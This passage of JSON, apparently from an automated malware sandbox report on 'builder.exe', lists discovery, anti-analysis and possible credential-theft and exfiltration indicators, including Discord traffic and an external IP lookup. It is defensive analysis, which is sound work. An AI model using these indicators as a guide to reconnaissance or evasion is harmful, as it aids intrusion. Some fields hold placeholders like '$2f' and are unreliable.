Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"ExpandEnvironmentStringsW\" in file \"builder.exe\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"builder.exe\"\n Found system information discovery API: \"GetUserObjectInformationW\" in file \"00000000-00006940.00000001.176861.00821000.00000040.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; File: \"builder.exe\")\n Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00001004-00000C2C-935800331\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00001004-00000C2C-935800378\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WMIC.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006748)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001004)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"builder.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005028)\n \"builder.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007276)\n \"builder.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00007276)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"builder.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005028)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"1004\" - (UID: 00000000-00001004)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001004)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002000)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007588)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"builder.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005028)\n \"builder.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007276)\n \"net1.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001732)\n \"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004380)\n \"tasklist.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004020)\n \"WMIC.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006748)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$30","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00001004)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00001004)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00002000)\n \"powershell.exe\" called \"LookupAccountSidW\" (UID: 00000000-00002000)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007588)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00007588)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00004020)\n \"WMIC.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00006748)\n \"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00003884)\n \"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00007892)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00001004)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00002000)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007588)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: builder.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: rar.exe]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00006940-45045-365-00827A40","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExW@KERNEL32.dll at 34853-1049-0000000140020AF1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.dll at 34853-1454-000000014000B5A1\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006940-45045-365-00827A40","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.dll at 34853-1454-000000014000B5A1\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006940-45045-365-00827A40","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"builder.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"builder.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"net1.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve configuration of a workstation (API string)","description":"Found reference to API \"NetWkstaGetInfo\" (Indicator: \"NetWkstaGetInfo\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-451","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"builder.exe\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"Win32API|Time Functions|GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"NetServerGetInfo\" (Indicator: \"NetServerGetInfo\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"00000000-00006940.00000001.176861.00821000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00002000.00000001.177576.64110000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system configuration","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c \"systeminfo\"\" (Indicator: \"cmd.exe /c \"systeminfo\"\"; Source: \"00000000-00007276-00000C47-29403551542\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"systeminfo\"\" (Indicator: \"\"systeminfo\"; Source: \"00000000-00007276-00000C47-29403551542\")\n Found string \"systeminfo\" (Indicator: \"systeminfo\"; Source: \"00000000-00000184-00000C47-8967582704\")\n Found string \"/c \"systeminfo\"\" (Indicator: \"\"systeminfo\"; File: \"cmd.exe\")\n Found string \"systeminfo\" (Indicator: \"systeminfo\"; Source: \"00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp, 00000000-00002500.00000000.176826.7F3A0000.00000004.mdmp, 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp, 00000000-00002500.00000001.177516.7F3A0000.00000004.mdmp\")\n Found string \"ype \"SYSTEMINFO /?\" for usage.\" (Indicator: \"\"systeminfo\"; Source: \"00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-359","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 34853-659-00000001400225A0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the user identity associated with the current process token","description":"\"builder.exe\" queried token user identity (UID: 00000000-00005028)\n \"builder.exe\" queried token user identity (UID: 00000000-00007276)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-328","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"builder.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tasklist.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"systeminfo.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"builder.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00003884.00000000.176630.B15B0000.00000004.mdmp, 00000000-00003884.00000000.176630.B17C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Discord Domain (discord .com in TLS SNI)\" (SID: 2035463, Rev: 3, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Observed Discord Service Domain (discord .com) in TLS SNI\" (SID: 2060505, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"base_library.zip\" copied on \"%TEMP%\\_MEI50282\\base_library.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"EnumDependentServicesW\" (Indicator: \"EnumDependentServices\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusExW\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"Found string \"processstartinfo\" (Source: \"00000000-00002000.00000001.177576.53960000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"builder.exe\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00007276-00000C2C-910715502\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineW\" (Source: 